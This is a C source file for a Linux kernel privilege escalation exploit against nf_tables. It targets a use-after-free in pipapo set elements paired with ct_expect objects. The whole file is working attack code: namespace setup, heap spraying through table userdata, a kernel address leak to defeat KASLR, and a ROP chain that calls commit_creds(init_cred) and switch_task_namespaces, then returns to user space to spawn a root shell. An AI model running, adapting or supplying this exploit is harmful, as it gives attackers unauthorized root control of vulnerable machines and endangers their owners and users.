#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"

char *leak_obj=NULL;
char *target_rop=NULL;
char *target_table=NULL;
char *leak_data=NULL;
int ct_expect_obj_num = 0;
int table_num = 0;

uint64_t leak_ops = 0, leak_heap = 0, kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;
int cur_handle = 0;
void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
    char *args[] = {"/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
    //while(1);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  return 0;
}


int nl_callback_find_target_table(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_TABLE_MAX+1];
    memset(tb_msg,0,NFTA_TABLE_MAX * 8);

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //fprintf(stderr, "Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    if (tb_msg[NFTA_TABLE_NAME]) {
        table_name = nla_get_string(tb_msg[NFTA_TABLE_NAME]);
        //printf("Get table: '%s'\n", table_name );
    }
    if (tb_msg[NFTA_TABLE_USERDATA]){
        uint64_t * val = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA]));
        nla_memcpy(val, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA]));
        //printf("data[16] = %lx\n", val[16]);
        if((val[16]&0xfff) == 0xfa0){
        //if(val[16] != 0x4242424242424242){
    	        printf("Get table: '%s'\n", table_name );
		//printf("data[0] = %lx\n", val[0]);
                leak_obj = (char *)val;
                target_table = malloc(strlen(table_name)+1 );
                strcpy(target_table,table_name);
                leak_data = (char *)val;
        }
    }
    return NL_OK;
}


void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
        new_table_with_udata(socket, tmp, udata, size);
        ++table_num;
   }
   free(tmp);
}

void spray_tables_rop(struct nl_sock * socket, int len, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
        snprintf(tmp, 0x100, "table_for_rop_%ld", table_num);
        new_table_with_udata(socket, tmp, udata, size);
        ++table_num;
   }
   free(tmp);
}


void get_tables(struct nl_sock * socket, int start, int end){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=start;i<end;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", i);
        get_table(socket,tmp);
        nl_recvmsgs_default(socket);
        nl_recvmsgs_default(socket);
   }
}

void get_tables_rop(struct nl_sock * socket, int start, int end){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=start;i<end;i++){
        snprintf(tmp, 0x100, "table_for_rop_%ld", i);
        get_table(socket,tmp);
        nl_recvmsgs_default(socket);
        //nl_recvmsgs_default(socket); //??? why?
   }
}

int leak_and_prepare_rop(struct nl_sock *socket){
    int i;
    char *pipapo_set = "set pipapo for leak";
    char *obj_for_leak = "obj_for_leak_a";
    char *table = "table for leak";
    char *key = malloc(0x40);
    char *key_end = malloc(0x40);
    uint64_t hash_key;
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    char *obj_name = malloc(0x40);
    memset(obj_name,0,0x40);
    printf("start leak\n");
    new_table(socket, table);
    new_set_pipapo(socket,table, pipapo_set, NFT_OBJECT_CT_EXPECT);
    
    new_obj_ct_expect(socket, table, obj_for_leak, NULL, 0);
    //step 1, create vulnerable setelem 
    new_setelem_with_expiration(socket, table, pipapo_set, pad, 0xc0, obj_for_leak, key, 0x40, key_end, 0x40, 1,0xe803000000000000);
    //step 2, free the setelem
    sleep(15);
    memset(key,1,0x40);
    memset(key_end,1,0x40);
    new_setelem(socket, table, pipapo_set, pad, 0xc0, obj_for_leak, key, 0x40, key_end, 0x40, 0);
    //step 3, get the setelem heap back
    memset(pad,0x42,0x100);
    *(uint64_t *)&pad[0] = 0x2810180a00000004;
    *(uint64_t *)&pad[8] = 0x22000;
    *(uint64_t *)&pad[0x10] = 0xfffb9b54;
    *(uint64_t *)&pad[0x18] = 0x3e8;
    spray_tables(socket,0x800, pad, 0xe0);
    //step 4, free it again
    sleep(15);
    memset(key,2,0x40);
    memset(key_end,2,0x40);
    new_setelem(socket, table, pipapo_set, pad, 0xc0, obj_for_leak, key, 0x40, key_end, 0x40, 0);
    //step 5, get it back by a obj
    for(i=0;i<0x400;i++){
        snprintf(obj_name,0x40,"obj_for_leak_%d",i);
        new_obj_ct_expect(socket, table, obj_name, NULL, 0);
    }
    //step 6, find target table

    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL);

    get_tables(socket, 0, table_num);
    char *vul_name = NULL;
    uint64_t handle;
    if(leak_data){
        printf("target table: %s\n",target_table);
        handle = *(uint64_t *)(&leak_data[0x38]);
        printf("handle: %ld\n", handle);
        vul_name = malloc(0x80);
        memset(vul_name,0,0x80);
        snprintf(vul_name, 0x80,"obj_for_leak_%ld",handle-3);
    }else{
        printf("Leak fail! Do not get the leak obj.\n");
        return -1;
    }
    printf("vul name : %s\n",vul_name);
    printf("next obj : %llx\n",*(uint64_t *)&leak_obj[0]);
    target_rop = *(uint64_t *)&leak_obj[0]; //we use the next object memory to fill our ROP gadget.
    uint64_t addr = *(uint64_t *)(&leak_obj[0x80]);//ops
    printf("ops addr : %lx\n",addr);
    kernel_off = addr - 0xffffffff828c9fa0;
    printf("kernel off : %lx\n",kernel_off);
    printf("Leak end.\n");
    printf("Start prepare ROP gadget in heap.\n");
    char *next_obj_name = malloc(0x80);
    snprintf(next_obj_name, 0x80, "obj_for_leak_%ld", handle-2);
    char *ops = malloc(0x100);
    memset(ops, 0, 0x100);
    *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff818996b7;//push rsi ; jmp qword ptr [rsi + 0x39]; ops->dump, first ins to run.
    *(uint64_t *)&ops[0x30] = kernel_off + 0xFFFFFFFF83519A40; //MODULE_CT_EXPECT_OBJ_TYPE_ADDR; This part is to bypass the check of type in function nft_obj_lookup
    *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff810803e0;//pop rdi; ret
    *(uint64_t *)&ops[0x68] = kernel_off + 0xFFFFFFFF83262140;//init_cred
    *(uint64_t *)&ops[0x70] = kernel_off + 0xffffffff8110ced0;//commit_creds
    *(uint64_t *)&ops[0x78] = kernel_off + 0xffffffff810803e0;//pop rdi; ret
    *(uint64_t *)&ops[0x80] = 1;
    *(uint64_t *)&ops[0x88] = kernel_off + 0xffffffff81103d40;//find_task_by_vpid
    *(uint64_t *)&ops[0x90] = kernel_off + 0xffffffff810803e0;//pop rdi; ret
    *(uint64_t *)&ops[0x98] = 0;
    *(uint64_t *)&ops[0xa0] = kernel_off + 0xffffffff8102c691;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
    *(uint64_t *)&ops[0xa8] = 0;
    *(uint64_t *)&ops[0xb0] = kernel_off + 0xffffffff813c146e; //pop rsi ; ret
    *(uint64_t *)&ops[0xb8] = kernel_off + 0xFFFFFFFF83261F00;//init_nsproxy
    *(uint64_t *)&ops[0xc0] = kernel_off + 0xffffffff8110b4f0; //switch_task_namespaces
    *(uint64_t *)&ops[0xc8] = kernel_off + 0xFFFFFFFF81FE3BA7;//swagpgs; ret
    *(uint64_t *)&ops[0xd0] = kernel_off + 0xFFFFFFFF820011A7;//iretq
    *(uint64_t *)&ops[0xd8] = (uint64_t)shell;
    *(uint64_t *)&ops[0xe0] = user_cs;
    *(uint64_t *)&ops[0xe8] = user_rflags;
    *(uint64_t *)&ops[0xf0] = user_rsp|8;
    *(uint64_t *)&ops[0xf8] = user_ss;

    del_obj(socket, table, next_obj_name, NFT_OBJECT_CT_EXPECT); //delete next obj first
    sleep(2);
    spray_tables(socket,0x800, ops, 0x100);//spray ROP gadget to fill it.
    printf("Finish prepare.\n");
    return 0;
}


void jmp_rop(struct nl_sock * socket){
    char *pipapo_set = "set pipapo for rop";
    char *table = "table for rop";
    char *obj_for_rop = "obj for rop";
    int i;
    char *key = malloc(0x40);
    char *key_end = malloc(0x40);
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    char *obj_name = malloc(0x40);
    memset(obj_name,0,0x40);
    leak_obj = NULL;
    leak_data = NULL;
    printf("start ROP\n");
    new_table(socket, table);
    new_set_pipapo(socket,table, pipapo_set, NFT_OBJECT_CT_EXPECT);
    new_obj_ct_expect(socket, table, obj_for_rop, NULL, 0);
    

    //step 1, create vulnerable setelem
    new_setelem_with_expiration(socket, table, pipapo_set, pad, 0xc0, obj_for_rop, key, 0x40, key_end, 0x40, 1,0xe803000000000000);
    //printf("step 1 finish\n");
    //step 2, free the setelem
    sleep(10);
    memset(key,1,0x40);
    memset(key_end,1,0x40);
    new_setelem(socket, table, pipapo_set, pad, 0xc0, obj_for_rop, key, 0x40, key_end, 0x40, 0);
    //printf("step 2 finish\n");
    //step 3, get the setelem heap back
    memset(pad,0x42,0x100);
    *(uint64_t *)&pad[0] = 0x2810180a00000004;
    *(uint64_t *)&pad[8] = 0x22000;
    *(uint64_t *)&pad[0x10] = 0xfffb9b54;
    *(uint64_t *)&pad[0x18] = 0x3e8;
    int old_num = table_num;
    spray_tables_rop(socket,0x800, pad, 0xe0);
    //printf("step 3 finish\n");
    //step 4, free it again
    sleep(10);
    memset(key,2,0x40);
    memset(key_end,2,0x40);
    new_setelem(socket, table, pipapo_set, pad, 0xc0, obj_for_rop, key, 0x40, key_end, 0x40, 0);
    //printf("step 4 finish\n");
    //step 5, get it back by a obj
    for(i=0;i<0x400;i++){
        snprintf(obj_name,0x40,"obj_for_rop_%d",i);
        new_obj_ct_expect(socket, table, obj_name, NULL, 0);
    }
    //printf("step 5 finish\n");
    
    //step 6, find target table

    nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL);
    
    get_tables_rop(socket, old_num, table_num);
    //printf("step 6 finish\n");
    char *vul_name = NULL;
    if(leak_data){
        printf("target table: %s\n",target_table);
        uint64_t handle = *(uint64_t *)(&leak_data[0x38]);
        printf("handle: %ld\n", handle);
	printf("obj name : %llx\n", *(uint64_t *)(&leak_data[0x20]));
        vul_name = malloc(0x80);
        memset(vul_name,0,0x80);
        snprintf(vul_name, 0x80,"obj_for_rop_%ld",handle-3);
    }else{
        printf("Find target obj for rop fail!\n");
	return;
    }
    
    printf("vul name : %s\n",vul_name);
    *(uint64_t *)(&leak_obj[0x39]) = kernel_off + 0xffffffff811054ab;//pop rsp ; ret
    *(uint64_t *)(&leak_obj[0]) = kernel_off + 0xffffffff811054ab;//pop rsp ; ret
    *(uint64_t *)(&leak_obj[8]) = target_rop + 0x60;
    *(uint64_t *)(&leak_obj[0x80]) = target_rop; // make obj->ops = our target ROP memory;

    del_table(socket, target_table);
    spray_tables(socket, 0x800, leak_obj, 0xd8);
    puts("Ready");
    //getchar();
    get_obj(socket, table, vul_name, NFT_OBJECT_CT_EXPECT);
    
    printf("Jmp ROP end.\n");
}


int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }
    save_state();
    struct nl_sock * socket = nl_socket_alloc();

    if(nfnl_connect(socket)<0){
    	printf("nfnl_connect fail!\n");
	return 0;
    }
    
    int ret = leak_and_prepare_rop(socket);
    
    if(ret<0)
	    return 0;
    struct nl_sock * socket2 = nl_socket_alloc();

    if(nfnl_connect(socket2)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    jmp_rop(socket2);
    
    return 0;
}
